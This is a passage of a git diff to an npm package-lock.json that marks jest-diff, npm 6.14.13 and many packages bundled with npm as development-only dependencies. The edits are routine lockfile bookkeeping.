"@types/react-router": "*" + } + }, "@types/react-table": { "version": "6.8.7", "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.7.tgz", @@ -4034,6 +4071,7 @@ "version": "15.0.13", "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.13.tgz", "integrity": "sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==", + "dev": true, "requires": { "@types/yargs-parser": "*" } @@ -4041,7 +4079,8 @@ "@types/yargs-parser": { "version": "20.2.0", "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.0.tgz", - "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==" + "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==", + "dev": true }, "@webassemblyjs/ast": { "version": "1.9.0", @@ -7525,7 +7564,8 @@ "diff-sequences": { "version": "26.6.2", "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", - "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==" + "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==", + "dev": true }, "diffie-hellman": { "version": "5.0.3", @@ -10644,6 +10684,7 @@ "version": "26.6.2", "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==", + "dev": true, "requires": { "chalk": "^4.0.0", "diff-sequences": "^26.6.2", @@ -10655,6 +10696,7 @@ "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { "color-convert": "^2.0.1" } @@ -10663,6 +10705,7 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -10672,6 +10715,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -10679,17 +10723,20 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -10699,7 +10746,8 @@ "jest-get-type": { "version": "26.3.0", "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", - "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==" + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "dev": true }, "js-base64": { "version": "2.5.2", @@ -12263,6 +12311,7 @@ "version": "6.14.13", "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.13.tgz", "integrity": "sha512-SRl4jJi0EBHY2xKuu98FLRMo3VhYQSA6otyLnjSEiHoSG/9shXCFNJy9tivpUJvtkN9s6VDdItHa5Rn+fNBzag==", + "dev": true, "requires": { "JSONStream": "^1.3.5", "abbrev": "~1.1.1", @@ -12392,6 +12441,7 @@ "JSONStream": { "version": "1.3.5", "bundled": true, + "dev": true, "requires": { "jsonparse": "^1.2.0", "through": ">=2.2.7 <3" @@ -12399,11 +12449,13 @@ }, "abbrev": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "agent-base": { "version": "4.3.0", "bundled": true, + "dev": true, "requires": { "es6-promisify": "^5.0.0" } @@ -12411,6 +12463,7 @@ "agentkeepalive": { "version": "3.5.2", "bundled": true, + "dev": true, "requires": { "humanize-ms": "^1.2.1" } @@ -12418,40 +12471,48 @@ "ansi-align": { "version": "2.0.0", "bundled": true, + "dev": true, "requires": { "string-width": "^2.0.0" } }, "ansi-regex": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "ansi-styles": { "version": "3.2.1", "bundled": true, + "dev": true, "requires": { "color-convert": "^1.9.0" } }, "ansicolors": { "version": "0.3.2", - "bundled": true + "bundled": true, + "dev": true }, "ansistyles": { "version": "0.1.3", - "bundled": true + "bundled": true, + "dev": true }, "aproba": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "archy": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "are-we-there-yet": { "version": "1.1.4", "bundled": true, + "dev": true, "requires": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -12460,6 +12521,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -12473,6 +12535,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -12481,38 +12544,46 @@ }, "asap": { "version": "2.0.6", - "bundled": true + "bundled": true, + "dev": true }, "asn1": { "version": "0.2.4", "bundled": true, + "dev": true, "requires": { "safer-buffer": "~2.1.0" } }, "assert-plus": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "asynckit": { "version": "0.4.0", - "bundled": true + "bundled": true, + "dev": true }, "aws-sign2": { "version": "0.7.0", - "bundled": true + "bundled": true, + "dev": true }, "aws4": { "version": "1.8.0", - "bundled": true + "bundled": true, + "dev": true }, "balanced-match": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "bcrypt-pbkdf": { "version": "1.0.2", "bundled": true, + "dev": true, "optional": true, "requires": { "tweetnacl": "^0.14.3" @@ -12521,6 +12592,7 @@ "bin-links": { "version": "1.1.8", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.3", "cmd-shim": "^3.0.0", @@ -12532,11 +12604,13 @@ }, "bluebird": { "version": "3.5.5", - "bundled": true + "bundled": true, + "dev": true }, "boxen": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "ansi-align": "^2.0.0", "camelcase": "^4.0.0", @@ -12550,6 +12624,7 @@ "brace-expansion": { "version": "1.1.11", "bundled": true, + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -12557,23 +12632,28 @@ }, "buffer-from": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "builtins": { "version": "1.0.3", - "bundled": true + "bundled": true, + "dev": true }, "byline": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "byte-size": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "cacache": { "version": "12.0.3", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.5", "chownr": "^1.1.1", @@ -12594,23 +12674,28 @@ }, "call-limit": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "camelcase": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "capture-stack-trace": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "caseless": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "chalk": { "version": "2.4.1", "bundled": true, + "dev": true, "requires": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", @@ -12619,26 +12704,31 @@ }, "chownr": { "version": "1.1.4", - "bundled": true + "bundled": true, + "dev": true }, "ci-info": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cidr-regex": { "version": "2.0.10", "bundled": true, + "dev": true, "requires": { "ip-regex": "^2.1.0" } }, "cli-boxes": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cli-columns": { "version": "3.1.2", "bundled": true, + "dev": true, "requires": { "string-width": "^2.0.0", "strip-ansi": "^3.0.1" @@ -12647,6 +12737,7 @@ "cli-table3": { "version": "0.5.1", "bundled": true, + "dev": true, "requires": { "colors": "^1.1.2", "object-assign": "^4.1.0", @@ -12656,6 +12747,7 @@ "cliui": { "version": "5.0.0", "bundled": true, + "dev": true, "requires": { "string-width": "^3.1.0", "strip-ansi": "^5.2.0", @@ -12664,15 +12756,18 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -12682,6 +12777,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -12690,11 +12786,13 @@ }, "clone": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "cmd-shim": { "version": "3.0.3", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "mkdirp": "~0.5.0" @@ -12702,27 +12800,32 @@ }, "code-point-at": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "color-convert": { "version": "1.9.1", "bundled": true, + "dev": true, "requires": { "color-name": "^1.1.1" } }, "color-name": { "version": "1.1.3", - "bundled": true + "bundled": true, + "dev": true }, "colors": { "version": "1.3.3", "bundled": true, + "dev": true, "optional": true }, "columnify": { "version": "1.5.4", "bundled": true, + "dev": true, "requires": { "strip-ansi": "^3.0.0", "wcwidth": "^1.0.0" @@ -12731,17 +12834,20 @@ "combined-stream": { "version": "1.0.6", "bundled": true, + "dev": true, "requires": { "delayed-stream": "~1.0.0" } }, "concat-map": { "version": "0.0.1", - "bundled": true + "bundled": true, + "dev": true }, "concat-stream": { "version": "1.6.2", "bundled": true, + "dev": true, "requires": { "buffer-from": "^1.0.0", "inherits": "^2.0.3", @@ -12752,6 +12858,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -12765,6 +12872,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -12774,6 +12882,7 @@ "config-chain": { "version": "1.1.12", "bundled": true, + "dev": true, "requires": { "ini": "^1.3.4", "proto-list": "~1.2.1" @@ -12782,6 +12891,7 @@ "configstore": { "version": "3.1.5", "bundled": true, + "dev": true, "requires": { "dot-prop": "^4.2.1", "graceful-fs": "^4.1.2", @@ -12793,11 +12903,13 @@ }, "console-control-strings": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "copy-concurrently": { "version": "1.0.5", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1", "fs-write-stream-atomic": "^1.0.8", @@ -12809,21 +12921,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true } } }, "core-util-is": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "create-error-class": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "capture-stack-trace": "^1.0.0" } @@ -12831,6 +12947,7 @@ "cross-spawn": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "lru-cache": "^4.0.1", "shebang-command": "^1.2.0", @@ -12840,6 +12957,7 @@ "lru-cache": { "version": "4.1.5", "bundled": true, + "dev": true, "requires": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" @@ -12847,21 +12965,25 @@ }, "yallist": { "version": "2.1.2", - "bundled": true + "bundled": true, + "dev": true } } }, "crypto-random-string": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "cyclist": { "version": "0.2.2", - "bundled": true + "bundled": true, + "dev": true }, "dashdash": { "version": "1.14.1", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -12869,35 +12991,42 @@ "debug": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "ms": "2.0.0" }, "dependencies": { "ms": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "debuglog": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "decamelize": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "decode-uri-component": { "version": "0.2.0", - "bundled": true + "bundled": true, + "dev": true }, "deep-extend": { "version": "0.6.0", - "bundled": true + "bundled": true, + "dev": true }, "defaults": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "clone": "^1.0.2" } @@ -12905,29 +13034,35 @@ "define-properties": { "version": "1.1.3", "bundled": true, + "dev": true, "requires": { "object-keys": "^1.0.12" } }, "delayed-stream": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "delegates": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "detect-indent": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "detect-newline": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "dezalgo": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "asap": "^2.0.0", "wrappy": "1" @@ -12936,21 +13071,25 @@ "dot-prop": { "version": "4.2.1", "bundled": true, + "dev": true, "requires": { "is-obj": "^1.0.0" } }, "dotenv": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "duplexer3": { "version": "0.1.4", - "bundled": true + "bundled": true, + "dev": true }, "duplexify": { "version": "3.6.0", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.0.0", "inherits": "^2.0.1", @@ -12961,6 +13100,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -12974,6 +13114,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -12983,6 +13124,7 @@ "ecc-jsbn": { "version": "0.1.2", "bundled": true, + "dev": true, "optional": true, "requires": { "jsbn": "~0.1.0", @@ -12991,15 +13133,18 @@ }, "editor": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "emoji-regex": { "version": "7.0.3", - "bundled": true + "bundled": true, + "dev": true }, "encoding": { "version": "0.1.12", "bundled": true, + "dev": true, "requires": { "iconv-lite": "~0.4.13" } @@ -13007,21 +13152,25 @@ "end-of-stream": { "version": "1.4.1", "bundled": true, + "dev": true, "requires": { "once": "^1.4.0" } }, "env-paths": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true }, "err-code": { "version": "1.1.2", - "bundled": true + "bundled": true, + "dev": true }, "errno": { "version": "0.1.7", "bundled": true, + "dev": true, "requires": { "prr": "~1.0.1" } @@ -13029,6 +13178,7 @@ "es-abstract": { "version": "1.12.0", "bundled": true, + "dev": true, "requires": { "es-to-primitive": "^1.1.1", "function-bind": "^1.1.1", @@ -13040,6 +13190,7 @@ "es-to-primitive": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", @@ -13048,22 +13199,26 @@ }, "es6-promise": { "version": "4.2.8", - "bundled": true + "bundled": true, + "dev": true }, "es6-promisify": { "version": "5.0.0", "bundled": true, + "dev": true, "requires": { "es6-promise": "^4.0.3" } }, "escape-string-regexp": { "version": "1.0.5", - "bundled": true + "bundled": true, + "dev": true }, "execa": { "version": "0.7.0", "bundled": true, + "dev": true, "requires": { "cross-spawn": "^5.0.1", "get-stream": "^3.0.0", @@ -13076,33 +13231,40 @@ "dependencies": { "get-stream": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "extend": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "extsprintf": { "version": "1.3.0", - "bundled": true + "bundled": true, + "dev": true }, "fast-json-stable-stringify": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "figgy-pudding": { "version": "3.5.1", - "bundled": true + "bundled": true, + "dev": true }, "find-npm-prefix": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "flush-write-stream": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.1", "readable-stream": "^2.0.4" @@ -13111,6 +13273,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -13124,6 +13287,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -13132,11 +13296,13 @@ }, "forever-agent": { "version": "0.6.1", - "bundled": true + "bundled": true, + "dev": true }, "form-data": { "version": "2.3.2", "bundled": true, + "dev": true, "requires": { "asynckit": "^0.4.0", "combined-stream": "1.0.6", @@ -13146,6 +13312,7 @@ "from2": { "version": "2.3.0", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.1", "readable-stream": "^2.0.0" @@ -13154,6 +13321,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -13167,6 +13335,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -13176,6 +13345,7 @@ "fs-minipass": { "version": "1.2.7", "bundled": true, + "dev": true, "requires": { "minipass": "^2.6.0" }, @@ -13183,6 +13353,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -13193,6 +13364,7 @@ "fs-vacuum": { "version": "1.2.10", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "path-is-inside": "^1.0.1", @@ -13202,6 +13374,7 @@ "fs-write-stream-atomic": { "version": "1.0.10", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2", "iferr": "^0.1.5", @@ -13211,11 +13384,13 @@ "dependencies": { "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true }, "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -13229,6 +13404,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -13237,15 +13413,18 @@ }, "fs.realpath": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "function-bind": { "version": "1.1.1", - "bundled": true + "bundled": true, + "dev": true }, "gauge": { "version": "2.7.4", "bundled": true, + "dev": true, "requires": { "aproba": "^1.0.3", "console-control-strings": "^1.0.0", @@ -13259,11 +13438,13 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -13274,11 +13455,13 @@ }, "genfun": { "version": "5.0.0", - "bundled": true + "bundled": true, + "dev": true }, "gentle-fs": { "version": "2.3.1", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.2", "chownr": "^1.1.2", @@ -13295,21 +13478,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "iferr": { "version": "0.1.5", - "bundled": true + "bundled": true, + "dev": true } } }, "get-caller-file": { "version": "2.0.5", - "bundled": true + "bundled": true, + "dev": true }, "get-stream": { "version": "4.1.0", "bundled": true, + "dev": true, "requires": { "pump": "^3.0.0" } @@ -13317,6 +13504,7 @@ "getpass": { "version": "0.1.7", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0" } @@ -13324,6 +13512,7 @@ "glob": { "version": "7.1.6", "bundled": true, + "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -13336,6 +13525,7 @@ "global-dirs": { "version": "0.1.1", "bundled": true, + "dev": true, "requires": { "ini": "^1.3.4" } @@ -13343,6 +13533,7 @@ "got": { "version": "6.7.1", "bundled": true, + "dev": true, "requires": { "create-error-class": "^3.0.0", "duplexer3": "^0.1.4", @@ -13359,21 +13550,25 @@ "dependencies": { "get-stream": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true } } }, "graceful-fs": { "version": "4.2.4", - "bundled": true + "bundled": true, + "dev": true }, "har-schema": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "har-validator": { "version": "5.1.5", "bundled": true, + "dev": true, "requires": { "ajv": "^6.12.3", "har-schema": "^2.0.0" @@ -13382,6 +13577,7 @@ "ajv": { "version": "6.12.6", "bundled": true, + "dev": true, "requires": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", @@ -13391,44 +13587,53 @@ }, "fast-deep-equal": { "version": "3.1.3", - "bundled": true + "bundled": true, + "dev": true }, "json-schema-traverse": { "version": "0.4.1", - "bundled": true + "bundled": true, + "dev": true } } }, "has": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "function-bind": "^1.1.1" } }, "has-flag": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "has-symbols": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "has-unicode": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "hosted-git-info": { "version": "2.8.9", - "bundled": true + "bundled": true, + "dev": true }, "http-cache-semantics": { "version": "3.8.1", - "bundled": true + "bundled": true, + "dev": true }, "http-proxy-agent": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "agent-base": "4", "debug": "3.1.0" @@ -13437,6 +13642,7 @@ "http-signature": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0", "jsprim": "^1.2.2", @@ -13446,6 +13652,7 @@ "https-proxy-agent": { "version": "2.2.4", "bundled": true, + "dev": true, "requires": { "agent-base": "^4.3.0", "debug": "^3.1.0" @@ -13454,6 +13661,7 @@ "humanize-ms": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "ms": "^2.0.0" } @@ -13461,36 +13669,43 @@ "iconv-lite": { "version": "0.4.23", "bundled": true, + "dev": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } }, "iferr": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "ignore-walk": { "version": "3.0.3", "bundled": true, + "dev": true, "requires": { "minimatch": "^3.0.4" } }, "import-lazy": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "imurmurhash": { "version": "0.1.4", - "bundled": true + "bundled": true, + "dev": true }, "infer-owner": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "inflight": { "version": "1.0.6", "bundled": true, + "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -13498,15 +13713,18 @@ }, "inherits": { "version": "2.0.4", - "bundled": true + "bundled": true, + "dev": true }, "ini": { "version": "1.3.8", - "bundled": true + "bundled": true, + "dev": true }, "init-package-json": { "version": "1.10.3", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.1", "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", @@ -13520,43 +13738,51 @@ }, "ip": { "version": "1.1.5", - "bundled": true + "bundled": true, + "dev": true }, "ip-regex": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-callable": { "version": "1.1.4", - "bundled": true + "bundled": true, + "dev": true }, "is-ci": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "ci-info": "^1.5.0" }, "dependencies": { "ci-info": { "version": "1.6.0", - "bundled": true + "bundled": true, + "dev": true } } }, "is-cidr": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "cidr-regex": "^2.0.10" } }, "is-date-object": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -13564,6 +13790,7 @@ "is-installed-globally": { "version": "0.1.0", "bundled": true, + "dev": true, "requires": { "global-dirs": "^0.1.0", "is-path-inside": "^1.0.0" @@ -13571,85 +13798,103 @@ }, "is-npm": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-obj": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "is-path-inside": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "path-is-inside": "^1.0.1" } }, "is-redirect": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-regex": { "version": "1.0.4", "bundled": true, + "dev": true, "requires": { "has": "^1.0.1" } }, "is-retry-allowed": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true }, "is-stream": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-symbol": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "has-symbols": "^1.0.0" } }, "is-typedarray": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isarray": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isexe": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "isstream": { "version": "0.1.2", - "bundled": true + "bundled": true, + "dev": true }, "jsbn": { "version": "0.1.1", "bundled": true, + "dev": true, "optional": true }, "json-parse-better-errors": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "json-schema": { "version": "0.2.3", - "bundled": true + "bundled": true, + "dev": true }, "json-stringify-safe": { "version": "5.0.1", - "bundled": true + "bundled": true, + "dev": true }, "jsonparse": { "version": "1.3.1", - "bundled": true + "bundled": true, + "dev": true }, "jsprim": { "version": "1.4.1", "bundled": true, + "dev": true, "requires": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", @@ -13660,17 +13905,20 @@ "latest-version": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "package-json": "^4.0.0" } }, "lazy-property": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "libcipm": { "version": "4.0.8", "bundled": true, + "dev": true, "requires": { "bin-links": "^1.1.2", "bluebird": "^3.5.1", @@ -13692,6 +13940,7 @@ "libnpm": { "version": "3.0.1", "bundled": true, + "dev": true, "requires": { "bin-links": "^1.1.2", "bluebird": "^3.5.3", @@ -13718,6 +13967,7 @@ "libnpmaccess": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "get-stream": "^4.0.0", @@ -13728,6 +13978,7 @@ "libnpmconfig": { "version": "1.2.1", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "find-up": "^3.0.0", @@ -13737,6 +13988,7 @@ "find-up": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "locate-path": "^3.0.0" } @@ -13744,6 +13996,7 @@ "locate-path": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-locate": "^3.0.0", "path-exists": "^3.0.0" @@ -13752,6 +14005,7 @@ "p-limit": { "version": "2.2.0", "bundled": true, + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -13759,19 +14013,22 @@ "p-locate": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-limit": "^2.0.0" } }, "p-try": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "libnpmhook": { "version": "5.0.3", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -13782,6 +14039,7 @@ "libnpmorg": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -13792,6 +14050,7 @@ "libnpmpublish": { "version": "1.1.2", 